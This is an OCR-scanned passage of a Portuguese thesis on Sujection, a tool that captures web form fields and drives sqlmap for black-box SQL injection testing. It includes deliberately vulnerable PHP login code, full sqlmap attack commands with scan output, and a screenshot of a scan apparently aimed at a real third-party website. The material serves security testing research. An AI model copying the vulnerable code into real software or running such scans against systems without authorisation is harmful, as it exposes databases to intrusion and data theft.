aplicacdes web utilizando de ataques SQL injection. Foram identificados um conjunto de
requisitos para esse tipo de aplicagio ndo cobertos pelos trabalhos relacionados. E
desejavel que o processo permita facilitar a execucdo de um teste extensivo e
personalizavel para cada tipo de aplicacdo que um analista de seguranca almeje testar. Os
requisitos identificados sdo os seguintes:

e Teste de Caixa-Preta: no teste de caixa-preta, uma aplicacdo é testada sem
conhecer o codigo fonte da aplicacdo, apenas analisando os dados de
entrada e saida. Isso é vantajoso neste caso, pois o0 analista de segurancga
nédo possui ao cédigo fonte da aplicacdo web.

e Captura de variaveis de entrada da aplicacdo: para que o teste de caixa
preta seja realizado com maior eficiéncia, € necessario identificar as
varidveis de entrada de varios tipos, quanto mais entradas sao
identificadas, mais rico serd o teste. Com a identificacdo dos campos de
forma eficiente e transparente o analista de teste podera inserir os codigos
SQL injection.

e Facilidade de uso e configuracdo: é importante que uma ferramenta possua


http://pt.wikipedia.org/wiki/Ferramenta

24

facilidade de uso e configuracdo. Por este motivo, a aplicacdo deve ter
uma interface que exiba informac6es necessarias ao analista de seguranca
e indique campos de configuracdes para efetuar os ataques da melhor
forma simples e eficiente;

e Extensibilidade e personalizacdo: foi identificado que € desejavel que uma
aplicacao desse tipo permita a facil adicdo de novos casos de teste sem que
sejam necessarias alteracdes na aplicacdo nem de novas compilacdes. Para
que isso seja possivel, é importante que a aplicacdo estabeleca uma
interface de programacdo bem definida e casos de teste. Alem disso, é
interessante que estes casos de testes sejam carregados dinamicamente,
para facilitar a adicdo de casos de teste de acordo com a necessidade do
analista de seguranca;

e Apresentacdo dos Resultados: finalmente, é importante que a ferramenta
mostre os resultados dos testes em uma Unica interface integrada, para
facilitar a identificacdo dos resultados ao analista de seguranca;

A abordagem desenvolvida neste trabalho foi feita de forma a contemplar todos
esses requisitos, uma vez que as ferramentas citadas no capitulo de trabalhos relacionados
ndo contemplam integralmente a todos os requisitos identificados.

Na Figura 4 é ilustrado o processo proposto por este trabalho. Nesta figura é
possivel visualizar uma aplicacdo web exibida por um navegador. Nesta aplicacdo web ha
um formulério de login, no formato HTML. Por realizar teste de caixa-preta, é desejavel
que a ferramenta seja capaz de capturar estes formularios e suas varidveis, 0 que sdo as
variaveis de entrada da aplicacdo. Portanto, no centro da figura, é ilustrado o processo de
extracdo de formularios e varidveis de cddigo HTML. Por fim, a ferramenta utiliza destas

variaveis para executar casos de teste.
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Ferramenta

Regras de Atague V

Navegador X

[ htfp:fexample.com

’ <fomm> Executando 5

Usuario [ ]| UsudrKnouttypesent mames'usai’ B> | reqras de ataque
Senha: <input type="nassword" name="senha’ fi<br >

Senha [ ]| | <muttype="submif vae="Login" |‘~.

<form> ;

i NovaRegra [ Cancelar .
Login S — |

Figura 4 - Processo de Ferramenta para Teste de Caixa-Preta

Com uma interface gréafica simples e bem definida, é desejavel que essa
ferramenta mostre as informacgdes mais relevantes do teste, com a opgao de visualizar o0s
resultados mais completos. Pelo fato de aplicacdes terem dominios diferentes, pode ser
necessario adaptar a ferramenta para casos de testes especificos. Por isso € importante que
a ferramenta permita executar variados casos de teste de forma dindmica sem a
necessidade de alteragcdes na ferramenta.

Com relacgdo a integrabilidade, visto que ja existem outras ferramentas propostas
na literatura que executam testes SQL injection, também é interessante que essa ferramenta
se integre a outras para permitir um maior aproveitamento e sucesso no teste sem

necessidade de reimplementar os casos de teste presentes nestas outras ferramentas.

3.2 FERRAMENTA SUJECTION

A ferramenta Sujection foi desenvolvida para ser utilizada de forma simples e
transparente pelo analista de teste, cumprindo com todos os requisitos apresentados e
diferenciando-se com a facil adicdo de casos de teste de forma totalmente dindmica, ou

seja, em tempo de execucado, o que ndo exige novas compilacdes ou edi¢cdes da ferramenta.
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Dentre as ferramentas descritas citadas no capitulo de trabalhos relacionados, para
0 estudo de caso de integracdo a outras ferramentas, a ferramenta desenvolvida nesta
abordagem foi integrada com a ferramenta SQLMAP através da criagdo de uma extensédo
(Guimaraes, B. D. A. e Stampar, M, 2011) visando facilitar seu uso e ter assim um maior
aproveitamento de suas vastas funcionalidades.

Abaixo como pode ser visualizado na Figura 5, consta o diagrama de classes da

ferramenta sujection onde esta desenvolvida uma representacdo da estrutura e relacfes das

classes.
sujection [
extension
SujectionGUI
. ~ohjetoExtensag Extens ion O

+executarTeste() : voki e
+extensacAtivadal) ; vold
+extensaoDesatiradal) : vokd

-sgui

Extens ionPanel

== JavaElement==+exensaoitivada(): void{Javasnnotations = "@Override"}
<=JavaElement==+exensacDesativada() : wid{Javatnnotations = "@O0Override"}

== JavaElement==+processaCom ando( linha : String ): wid{Javasnnotations = "@Override"}
== JavaElement=>=+interpretaResuttado( linha : String ) : boolean{Javasnnotations = '@ Ovenide!'}

carregadorE xtens ionsl

Sujection
Custonloader

console I

~console
SujectionConsole

~printer 5z —
ey TenninaiOutput ) ;
+outpat] text Sm‘nq ) vo:'a‘. FHIC ProcessadorDe Comando -::'J
*outputi( text : String ). void +pocessaComandof linha : String ) : vokd

+interpretaResuitado( text : String ) bookan

ConsoleStreamGobbler
frocessadorDeComando
|o jectionC AP

decodificador |

ElementoD eTeste
2N

Fum |mm’

-input| 0.*

Decodificador

DecodificadorJSoup

Figura 5 - Diagrama de Classes da Ferramenta Sujection
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Em seu desenvolvimento foi definida painéis em trés abas sendo elas:
Preferéncias, Configuracdo de Casos de Teste e Console como pode ser visualizado na

Figura 5.

5| Sujecti Lo o e S
o R =
Caso de Teste: | |'| [ Ativar J

—l Configuracio do Caso de Teste J Console 1 Preferéncias J

Executar

Figura 6 - Ferramenta Sujection

Na aba Preferéncias é possivel definir a Integracdo com ferramentas que geram
SQL Injection como o SQLMAP ou extensbes que serdo utilizadas na ferramenta
ressaltando que a configuracdo com outras ferramentas é opcional uma vez que cada

extensdo pode ser integrada diferentes ferramentas. Isto pode ser visualizado na Figura 6.
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(Caso de Teste: [extensions.ﬁtaqueSClLMapCapturaFurms |v] [ Ativar J

' Integragdo SQLMap
E

Caminho do sgimap.py. |o\sglmap\sglmapproject-sqlmap-056be32\sglmap.py Procurar

(Dbrigatdria)

Caminho do python: CPython27\python. exe Procurar

Extensbes
-

Caminho das Extensdes  to_3es\DesktopisujectionFimParaMono\extensions Procurar

l Configuracio do Caso de Teste l Console l Preferéncias J

Salvar

Figura 7 - Configuragdo de Preferéncias Ferramenta Sujection

J& na aba Configuracdo do Caso de Teste é necessario informar o endereco da
aplicacdo que sera analisada. Esta aba contém um painel que ¢é definido por casos de teste,
que, por sua vez, sdo implementados em extensdes em que serdo extraidos os formularios
da aplicacdo nos quais poderdo posteriormente ser injetados os cddigos SQL, assim como
representado na Figura 7.
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ICaso de Teste: [extensinns.ﬁtaqueSﬂLMapCapturaForms |'] [ Alivar J'

|| Enderego | nitp:11189.7.84.9:818 Vinjection] |

[ Extrair Formularios J

Formulario [0]: "input” destino="autentica.php” método="POST"
r . ]
[z] NOME ADMINISTRADOR text
V] SENHA senha password
parar enviar

Configuracdo do Caso de Teste l Console l Preferéncias J

Executar

Figura 8 - Configuragdo do Caso de Teste de Ferramenta Sujection

Na aba Console é possivel acompanhar a integracéo da ferramenta Sujection com
as demais ferramentas, € nele que sd@o mostradas a saida das ferramentas integradas sendo
possivel interagir com elas, por isso 0 campo de texto abaixo do painel onde sdo
apresentadas as saidas dos testes como pode ser visualizado na Figura 8. Mais detalhes do

funcionamento da ferramenta serdo descritos na Se¢éo 3.3.3.
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| |

Casc de Tecte: [e}dens ons Atzques3aLMapCaptaraForms .'] [ Ativar J

Ben-¥-ndo ao SLjecticn Console 1.0 -
Extenstes selecicreces em :

C:\UsersyDesenvclvimento Zes\DesktopysdjzctionFimParabono'extens_ons
Carregando exterséc: extensions.AtaqussJ_¥aoCaptu-aForms.

Extensdo extensicrs.AtaquesCLMapCaptura=orms ativada.

SubJC=Executancc C:\Pythonz7\python.zxz
C:\UsersyDesenvclvimento_Zes\Desktopisjlmaso-oject-sq.map-2248-dfysqlmap.py

-u *http://189.7.8£.9:E1E1/injection/aJtztica. php"
--data='NOME=ACMINISTRACCRESEMHA=senna" --dos -v 1 -7
--referer=http://189.7.84.5:8181/injaction/ --user-agenz="Moz:11a,/5.0
W-_ndows NT 6.1; WOwg4; rv:7.0.1) Gec<a/20120101 FireTox/7.0" --risk=3
--level=5

sqlmap/1.0-cev - automatic SO inj=ction and dazabase takeover tool
hitp://sqlmeg.crg

[ . Tegal discleimer: Lsage of sqlmao for attacking zargeTs w-_thout prior
nutual consent is illegal. It is the =2nd us2~'s -~esponsibil-tv to obey all
appl_cable Tocel, stete and federal laws. Dzvelopets assume no 1_ability érc
are not responsitle for any misuse or damags caused by —his program

[* starting at 11:26:2C

[12:26:21] [INFO] testing connection to tne target ur

[22:26:21] [INFO] Feuristics detected weo oage charset 'asci-

[22:26:21] [INFO] testing if the url is staole, waiz a “ew seconds

[12:26:23] [INFO] Lrl is stable

[11:26:23] [INFO] testing if POST paramstzr 'NOME' is dynan:c b

l Configuracao do Czso de Teste l Censole J =referdncias J

Figura 9 - Console da Ferramenta Sujection

3.2.1 CASOS DE TESTE E COMPLEMENTOS PARA O SUJECTION

A ferramenta Sujection possibilita executar casos de teste personalizados por
meio de extensdes que complementam seu funcionamento. Essas extensdes podem ser
instaladas sem a necessidade de modificar a ferramenta e sdo carregadas dinamicamente,
ou seja, em tempo de execucdo ,alem disso, a localizacdo das extensGes pode ser em
qualquer diretério do computador em uso. A criacdo de extensGes deve ser realizada
seguindo os padrdes apresentados no apéncice B.

As extensdes sdo desenvolvidas em linguagem Java e devem ser compiladas e
colocadas nas pastas de extensdes da ferramenta como pode ser visto na Figura 9. Néo ¢
necessario recarregar a ferramenta para atualizar a lista de extensdes, visto que isto € feito

automaticamente. Ao selecionar uma extensdo, o usuario da ferramenta tem a opcéo de
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clicar no botdo “Ativar” para ativar a extensdo. Quando outra extensao ¢ ativada, a anterior

@ automaticamente desativada.

Casao de Teste: | extensions. AtaqueSQLMapCapturaForms - Ativar -

s extensions.AtaqueSQLMapCapturaForms

Caminho do sglmap.py. p\sglmap'sqlmapproject-sglmap-056be32\sqlmap.py Procurar
(Obrigatario)

Caminho do python: C\Python27\python.exe Procurar N

Extensbes

Caminho das Extens@es  to_3Jes\Deskiop\sujectionFimParaMonolextensions Procurar

l Configuracio do Caso de Teste l Console l Preferéncias J

N N

Figura 10 - Configuracdo das Preferencias da Ferramenta Sujection

A ferramenta Sujection define um conjunto de interfaces de programagédo que
permitem a extensdo: detectar quando sdo ativadas e desativadas, acessar 0s campos de
configuracdo da ferramenta, exibir uma interface grafica dentro da janela da ferramenta,
acessar interface de console interno do Sujection (dados de texto que entram e saem do
Sujection) e qualquer outra operacdo durante o tempo que estiver ativa, incluindo
integracdo com outras ferramentas.

Para definir uma extensdo, e, por ventura, implementar um caso de teste nela, é
necessario implementar uma interface Java publica disponivel no Sujection. Esta interface
é denominada Extension e define os seguintes metodos:

executarTeste: invocado pela ferramenta quando o usudrio clica no botdo
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“Executar” enquanto a aba “Configuracdo de Caso de Teste” estiver ativada. Isso ¢
importante quando uma extensdo ndo faz uso de interface grafica ou console para receber
esse comando do usuario. Por padrdo, este botdo é desativado quando a ferramenta detecta
que a extensdo exibe uma interface grafica prépria;

e extensaoAtivada: invocado pela ferramenta quando a extensédo é ativada e
tem autorizacdo para executar suas operacdes especificas;

e extensaoDesativada: invocado pela ferramenta quando a extensdo é
substituida por outra extensdo ou a ferramenta é finalizada.

Além dos métodos definidos pela interface, esta herda de outra outros métodos
abstratos. Desta forma, além destes, € necessario implementar:

e processaComando: invocado pela ferramenta quando h& comandos
informados pelo usuario ao utilizar o console, 0 que permite a extensdo
fornecer uma interface de texto. Por pardmetro, uma linha de texto do
comando fornecido é repassada a extensao;

e interpretaResultado: invocado pela ferramenta quando uma outra
ferramenta integrada por meio da interface de texto retorna um texto de
resultado. Isso permite as extensdes interpretarem resultados de outras
ferramentas para permitir uma intergracdo transparente. Por parametro é
fornecida uma linha de texto enviada como resultado. Este método deve
retornar um valor booleano, que define se a linha a interpretar deve ou néo
ser exibida no console.

Outras operagdes devem ser invocadas pelas extensdes. Por exemplo é possivel
invocar o método estatico Sujection.output com o parametro de uma string a ser exibida no
console da ferramenta, entre varias outras possibilidades que sdo melhor explicadas na
documentacao do codigo fonte da ferramenta Sujection.

A ferramenta também fornece um suporte para descarregar paginas HTML e
decodificar seu contetdo em uma estrutura em arvore. Também fornece suporte para
decodificar formularios e detecgéo das variaveis, o que facilita o desenvolvimento de casos
de teste que analisem os dados de entrada.

Esta ferramenta inclui codigo do DragonConsole (3133t Software Developers,

L.L.C., 2010), que foi estendido para exibir o terminal embutido na Sujection e JSoup
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(Hedley, J., 2012), que é utilizado para decodificar cédigo HTML. A inclusdo destas
bibliotecas na ferramenta é permitida pelas licencas das mesmas. Maiores detalhes técnicos

para a criacao de extensdes sdo mostrados no apéndice B.

3.2.2 USO INTEGRADO AO SQLMAP

Como estudo de caso de integracdo da Sujection com outras ferramentas de SQL-
injection, uma das extensdes foi implementada com o objetivo de integrar a Sujection com
a ferramenta SQLMAP (Guimardes, B. D. A. e Stampar, M., 2011). Esta ferramenta foi
escolhida por possuir o maior numero de tipos de testes SQL-injection de caixa-preta e por
ter deficiéncia em dois aspectos que a Sujection ndo possui: captura de dados de entrada e
facilidade de configuracdo com interface grafica. A SQLMAP néo é capaz de identificar os
formulérios de uma péagina que direciona para outra pagina, o usuario deve fornecer a
SQLMAP a pagina alvo do formulério e todos as as variaveis de parametro manualmente.

A Ferramenta Sujection é capaz de capturar paginas HTML e identificar seus
formulérios e destinos. A extensdo descrita nesta secdo, por sua vez, exibe as variaveis
detectadas ao analista de seguranga e o permite escolher quais seréo testadas e quais devem
ser seus valores para o teste inicial.

Com base nos dados fornecidos pela Ferramenta Sujection e esta extensdo, a
SQLMAP pode fazer testes extensivos nas paginas detectadas pela Sujection e informar os
resultados dentro da interface do Sujection, que também pode ser usado para uma
interacdo de duas vias entre a SQLMAP e o analista de seguranca.

A Sujection também é capaz de detectar respostas da SQLMAP ou outra
ferramenta integrada pela extensao, o que permite detectar sucessos ou fracassos dos testes
e fornecer informacdes mais concisas ao analista de seguranca.

Para definir a integracdo e preciso informar o caminho da ferramenta SQLMAP
e 0 caminho do interpretador Python (Python Software Foundation, 2012), no qual a
SQLMAP depende. Desta forma, a Sujection conseguira invocar a SQLMAP para entdo
utilizar-se de suas funcionalidades de forma simples e transparente ao usuario.

Exemplos praticos de uso desta extensdo sdo mostrados na Subsecéo 3.2.3.

3.2.3 SUJECTION EXEMPLO DE FUNCIONAMENTO
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Nesta subsecdo € mostrada uma execucdo da ferramenta Sujection utilizando a
extensdo que a integra a0 SQLMAP, incluindo configuragdo preliminar, captura de
formularios e varidveis com a interface grafica e o uso do console. A extensdo em questédo
¢ denominada de “extensions.AtaqueSQLMAPCapturaForms”.

Inicialmente é necessario ativar a extensao a ser utilizada. Para isso, é importante
selecionar o caminho das extensdes na aba de configuracdo, caso as extensdes ndo estejam
no caminho padrdo esperado pela ferramenta. A selecdo desta extensdo € ilustrada na

Figura 10.

Zaso de Teste: | extensions. AtagueSalmapCapturaForms v Ativar
extensions AtagueSalMapCapturaForms
Entzrese extensions AtagqueScLlMapCapturaFormsSimples
extensions AtagueSalMapPadrao o
mularios

extensions. Teste
extensions. TestePanel

Figura 11 - SeleGdo da Extensdo

Como a ferramenta SQLMAP é empregada, é necessario fornecer o caminho do
interpretador Python (o qual a SQLMAP depende) e o caminho do codigo da SQLMAP em
si. Isso é feito por meio da aba de preferéncias da Sujection.

Ap0s configurar a integracdo com 0 SQLMAP e a extensdo deve-se prosseguir até
a guia “Configuracdo de Casos de Teste” em que serd passado o enderego da aplicagdo
alvo do teste. Esta aplicacdo apresentara os formularios extraidos, e suas variaveis

identificadas. O resultado desta extracdo € mostrado na Figura 11.
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Zaso de Teste: |.eﬂenSinns.maqueSQLMapCapturaFnrmS TJ [ Ativar |

Endereco  hitpocalhost 8181 injections

[ Extrairth(\mulérins ]
G,

Formulario [0]: "input” destino="autentica.php™ método="P0OST"

[+ MOME test
(/] SENHA password
| parar | | enwiar |

—[ Configuragdo do Caso de Teste l Console l Preferéncias J

Figura 12 - Extracdo de Formularios e Campos

Os formularios capturados séo exibidos na interface da Configuragdo de Casos de
Teste. Nesta interface é possivel ver o nome das variaveis e seu tipo. Também é possivel
escolher quais variaveis devem ser testadas (todas por padrao) e qual deve ser o seu valor
inicial para o teste, visto que as injecOes serdo realizadas ao alterar estes valores iniciais,
pois a definicdo de valor inicial pode ser importante para que a aplicacdo web aceite a
requisicdo e possa ser testada, visto que alguns valores podem ser obrigatorios. Isso pode
ser feito como visto na Figura 12.
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ICaso de Teste: [extensiuns.ﬂiaqueSﬂLMapCapturaFurms |'] [ Ativar J

h Endereco | hitp:in BQ.?.B4.Q:B1B1Iinjec1innJ1

[ Extrair Formularios J

Formulario [0]: "input” destino="autentica.php” método="P0OST"
[ d 1
E] MOME ADMINISTRADOR text |
[+/] SENHA senha password
I [ parar J [ enviar J

I Configuracio do Caso de Tes'tel Console l Preferéncias J

{  emviar

Figura 13 - Console da Ferramenta Sujection

Ap0s a extracdo do formulario é possivel verificar as variaveis em que serdo
inseridos os SQL injections. Ao clicar no botdo enviar, podemos acompanhar na guia
Console o processo de teste da SQLMAP com os dados capturados.

Conforme ilustrado na Figura 13 e Figura 14, a Sujection é capaz de capturar
respostas da SQLMAP e informar eventos importantes ao analista de seguranca, evitando
assim, a necessidade de procurar em meio do texto exibido. Além disso, o texto gerado
pela SQLMAP ¢ salvo completamente em um arquivo de texto para futura referéncia.
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Maiores informacdes sdo mostrados no apéndice A.

B Lo & =]

Caso de Teste: | extensions AtagueSQLMapCapturaFarms 'J [ Ativar |

Bem-%indo ao Sujection Console 1.0

Extensfes selecionadas em : C:yUsershSuellenDesktop'sujectionFimParaMonotextensions
Carregando extensdo: extensions.AtaguesQLMapCapturaForms.

Extensdo extensions.AtagueSQLMapCapturaForms ativada.

[v]

SubJC=Executando C:\PythonZ7python.exe C:yUsersySuellenyDesktophsqlmapproject-sglmap-21481dfysolm
"http://consistrans.com.br/transito/usuarios/#"

--data="_method=POsT&datalOrgan] [id_municipic]=&datalUsuariol [login]=GdatalUsuario] [senhal=6datall
--dbs -v 1 -f --referer=http://consistrans.com.br/transito/usuarios/login --user-agent="Mozilla/g

MT 6.1; WOwsd; rv:7.0.1) Gecko/Z20100101 Firefox/7.0" --risk=3 --level=5

sqlmap/1l.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org

[!] legal disclaimer: Usage of sgqlmap for attacking targets without prior mutual consent is illega
end user's responsibility to ohey all applicable local, state and federal laws. Dewvelopers assume
and are not responsible for any misuse or damage caused by this program

[*] starting at 00:33:34

[B03:33:36] [IMFO] testing connection to the target url

sqlmap got a 302 redirect to 'hitp://consistrans.com.br/transito/'. Do you want to follow? [Y/n]
[G0:34:00] [INFO] testing if the url is stable, wait a few seconds

[G0:34:04] [WARNING] POST parameter ' method' does not appear dynamic

[00:34:06] [WARMING] reflective value(s) found and filtering out

[G09:34:06] [WARNMING] heuristic test shows that POST parameter ' method' might not be injectable
[00:34:06] [INFO] testing for SQL injection on POST parameter '_method'

[4] I [ [»]

L]

[ Configuragdo do Caso de Teste l Console l Preferéncias J

l Enviar

Figura 14 - Console da Ferramenta Sujection

( i "\ Foram encontradas vulnerabilidades.
\ _/ : -
- Verifique o console para maiores detalhes.

OK

Figura 15 - Janela de Mensagem da Ferramenta Sujection

3.3 CONSIDERACOES FINAIS

Neste capitulo foi apresentada a abordagem e uma ferramenta para a execucéao de

SQL Injection que consiste na captura automatica de dados de entrada para permitir a
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realizacdo de testes de caixa-preta.

A ferramenta é também uma ferramenta que permite a adi¢do de extensdes que
implementam casos de teste. Uma extensao foi usada para integrar a Sujection com sucesso
a uma outra ferramenta de SQL injection.

No Capitulo 4 estdo apresentadas as conclusdes finais deste trabalho de pesquisa.
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CAPITULO 4—- CONCLUSAO

O aumento do numero de ataques a aplicagdes web que apresentam
vulnerabilidades, torna importante a deteccdo de vulnerabilidades antes que essas
aplicacdes possam sofrer ataques. Portanto, um programa que auxilia o desenvolvedor a
encontrar e corrigir torna mais barato, facil e rapido a implementacdo de medidas de
seguranca. Apesar da grande quantidade de vulnerabilidades existentes atualmente, o0 SQL
injection é apontado com um grande risco para aplicacfes web.

Dessa forma, neste trabalho é descrito o teste de vulnerabilidades de aplicacfes
web utilizando-se de SQL injection. E apresentada uma abordagem que foi implementada
com sucesso em uma ferramenta. Esta abordagem de teste de caixa-preta que consiste na
identificacdo de variaveis de entrada para que possam ser avaliadas em testes sql injection.

Esta ferramenta se difere das demais por cumprir com 0s seguintes requisitos:
teste de caixa preta, captura de varidveis de entrada, interface gréfica, configuracéo e
extensibilidade.

A ferramenta de testes de vulnerabilidades SQL Injection, foi nomeada de
Sujection. A Sujection é uma ferramenta de facil criacdo de extensdes para casos de teste.
Por meio de chamadas é possivel acessar informac6es da ferramenta, acessando o console
e a interface grafica. Também é possivel integrar a outras ferramentas, dessa forma, a
Sujection foi integrada a ferramenta SQLMap por meio de uma extensdo. O resultado desta
integracdo permitiu capturar variaveis de entrada e realizar testes visualizando uma
interface gréfica de facil utilizacéo.

Como limitagOes deste trabalho tem-se: a ferramenta sO foi integrada a uma
ferramenta e ndo foi avaliado o quanto isso auxilia analistas de seguranca em ambientes
reais.

Como trabalhos futuros, espera-se superar as limitagcdes e é sugerido estabelecer
novas extensdes a Sujection para integra-la a outras ferramentas. Também € de interesse
facilitar a implementacdo de casos de teste mais comuns, fornecendo novas classes
abstratas mais adequadas. Por fim, resta avaliar a ferramenta e o quanto os beneficios

esperados sdo efetivamente benéficos para teste de aplicagdes reais.
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APENDICE

A — Saida Completa da Execucéo do Sujection Integrado ao SQLMAP

O exemplo de execucdo da Sujection foi realizado ao testar uma aplicagéo web
intencionalmente vulneravel. Essa aplicacdo executa servidor HTTP Apache (Apache
Software Foundation, 2012), interpretador PHP (PHP Group, 2012) e SGBD (Sistema
Gerenciador de Banco de Dados) MySQL (Oracle Corporation, 2012).

O SGBD possui os seguintes bancos de dados:
e exemplo;
¢ information_schema;
e mysql;
e performance_schema;

e ftest.

O banco de dados “exemplo” é usado no exemplo de SQL injection, e possui a

tabela usuario com as colunas “NOME” e “SENHA”, ambas strings (varchar no banco de
dados).

A pagina inicial da aplicagdo web ¢ denominada “index.html”, contém um

formulario e possui o seguinte codigo:
<html>
<body>
<p><strong>Login:</strong></p>
<form name="input" action="autentica.php" method="POST">
Nome: <input type="text" name="NOME"></br>
Senha: <input type="password" name="SENHA"></br>

<p><input type="submit" value="Enviar"></br></p>
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</form>
</body>

</html>

A pégina de destino desta aplicagdo ¢ a “autentica.php” cujo codigo ¢ o seguinte:
<?php

$con = mysql_connect("localhost","root","root");
if ($con)

{

die("Could not connect: * . mysql_error());

}

mysql_select_db("exemplo™, $con);

$result = mysql_query("SELECT * FROM USUARIO WHERE NOME =
" $_POST['NOME']." AND SENHA = ™.$_POST['SENHA"."":"):

if($row = mysql_fetch_array($result))

{
echo "Bem-vindo ".$row['NOME';

else

header('Location: http://localhost:8181/injection/index.html’);

}
mysql_close($con);

7>
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Este codigo autentica o usuario utilizando o comando SELECT e se o banco de
dados encontrar uma Unica tupla contendo um usuario que o nome e senha sejam 0s
mesmos que informados, este mostra uma mensagem de boas vindas, caso contrario, o

navegador é redirecionado a pagina inicial.

Este comando SELECT foi intencionalmente definido como vulnerdvel a SQL
injections. Ao executar a ferramenta Sujection, os campos do formulério sdo capturados e
podem enviados a ferramenta SQLMap que identifica diferentes tipos de vulnerabilidades
e € capaz de extrair estrutura e dados dos bancos de dados. Com a integracdo, é possivel
utilizar e interagir com a SQLMap na aba de console e resultados também sao informados
ao analista de seguranca por meio da interface grafica. Os resultados desta execucdo visivel

no console estdo aqui listados:

Bem-Vindo ao Sujection Console 1.0

Extensdes selecionadas em :
C:\Users\Suellen\Documents\NetBeansProjects\Sujection\dist\extensions

Carregando extensdo: extensions.AtaqueSQLMapCapturaForms.

Extensdo extensions.AtaqueSQLMapCapturaForms ativada.

SubJC>Executando python d:\Meus Documentos\Downloads\sqlmap\sglmapproject-
sglmap-21481df\sgimap.py -u "http://localhost:8181/injection/autentica.php” --
data="NOME=Administrador&SENHA="--dbs -v 1 -f --
referer=http://localhost:8181/injection/ --user-agent="Mozilla/5.0 (Windows NT 6.1;
WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0™ --risk=3 --level=5

sglmap/1.0-dev - automatic SQL injection and database takeover tool

http://sqlmap.org
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['] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is
illegal. It is the end user's responsibility to obey all applicable local, state and federal
laws. Developers assume no liability and are not responsible for any misuse or damage

caused by this program

[*] starting at 12:32:23

[12:32:24] [INFO] testing connection to the target url

[12:32:24] [INFO] heuristics detected web page charset "ascii’

[12:32:24] [INFO] testing if the url is stable, wait a few seconds

[12:32:26] [INFO] url is stable

[12:32:26] [INFO] testing if POST parameter 'NOME' is dynamic
[12:32:26] [WARNING] POST parameter ‘"NOME' does not appear dynamic

[12:32:26] [WARNING] heuristic test shows that POST parameter 'NOME' might not be

injectable
[12:32:26] [INFO] testing for SQL injection on POST parameter 'NOME'
[12:32:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[12:32:27] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(MySQL comment)'

[12:32:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause

(Generic comment)'
[12:32:30] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause’

[12:32:32] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause
(MySQL comment)’

[12:32:32] [INFO] POST parameter 'NOME' is 'OR boolean-based blind - WHERE or
HAVING clause (MySQL comment)' injectable
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[12:32:32] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING

clause'

[12:32:32] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING
clause (EXTRACTVALUE)'

[12:32:32] [INFO] testing ‘MySQL >= 5.1 AND error-based - WHERE or HAVING
clause (UPDATEXML)'

[12:32:32] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING

clause’
[12:32:32] [INFO] testing '"MySQL >= 5.0 OR error-based - WHERE or HAVING clause'

[12:32:32] [INFO] testing ‘MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(EXTRACTVALUE)'

[12:32:32] [INFO] testing '"MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(UPDATEXML)'

[12:32:32] [INFO] testing ‘"MySQL >= 4.1 OR error-based - WHERE or HAVING clause'
[12:32:32] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[12:32:32] [INFQ] testing ‘MySQL >= 5.0 error-based - Parameter replace'

[12:32:32] [INFQ] testing ‘MySQL >= 5.1 error-based - Parameter replace
(EXTRACTVALUE)'

[12:32:32] [INFO] testing '"MySQL >= 5.1 error-based - Parameter replace
(UPDATEXML)'

[12:32:32] [INFO] testing '"MySQL inline queries’

[12:32:33] [INFO] testing ‘MySQL > 5.0.11 stacked queries’

[12:32:33] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[12:32:33] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[12:32:33] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (comment)'

[12:32:43] [INFO] POST parameter 'NOME" is 'MySQL > 5.0.11 AND time-based blind

(comment)' injectable
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[12:32:43] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'

[12:32:43] [INFO] automatically extending ranges for UNION query injection technique

tests as there is at least one other potential injection technique found

[12:32:43] [INFO] ORDER BY technique seems to be usable. This should reduce the time
needed to find the right number of query columns. Automatically extending the range for

current UNION query injection technique test
[12:32:43] [INFO] target url appears to have 2 columns in query

[12:32:43] [INFO] POST parameter 'NOME" is 'MySQL UNION query (NULL) - 1 to 20

columns' injectable

[12:32:43] [WARNING] in OR boolean-based injections, please consider usage of switch

"--drop-set-cookie' if you experience any problems during data retrieval

POST parameter 'NOME' is vulnerable. Do you want to keep testing the others (if any)?
[y/N]y
[12:33:13] [INFO] testing if POST parameter 'SENHA' is dynamic

[12:33:13] [INFO] confirming that POST parameter 'SENHA' is dynamic
[12:33:14] [INFO] POST parameter 'SENHA" is dynamic
[12:33:14] [WARNING] reflective value(s) found and filtering out

[12:33:14] [INFO] heuristic test shows that POST parameter 'SENHA' might be injectable
(possible DBMS: MySQL)

[12:33:14] [INFO] testing for SQL injection on POST parameter 'SENHA'
[12:33:14] [INFO] testing "AND boolean-based blind - WHERE or HAVING clause'

[12:33:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause

(Generic comment)'
[12:33:17] [INFOQO] testing 'OR boolean-based blind - WHERE or HAVING clause'

[12:33:17] [INFO] POST parameter 'SENHA" is 'OR boolean-based blind - WHERE or
HAVING clause' injectable
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[12:33:17] [INFO] testing ‘MySQL >= 5.0 AND error-based - WHERE or HAVING

clause'

[12:33:18] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING
clause (EXTRACTVALUE)'

[12:33:18] [INFO] testing ‘MySQL >= 5.1 AND error-based - WHERE or HAVING
clause (UPDATEXML)'

[12:33:18] [INFO] testing '"MySQL >= 4.1 AND error-based - WHERE or HAVING

clause’
[12:33:18] [INFO] testing '"MySQL >= 5.0 OR error-based - WHERE or HAVING clause'

[12:33:18] [INFO] testing ‘MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(EXTRACTVALUE)'

[12:33:18] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(UPDATEXML)'

[12:33:18] [INFO] testing '"MySQL >= 4.1 OR error-based - WHERE or HAVING clause'
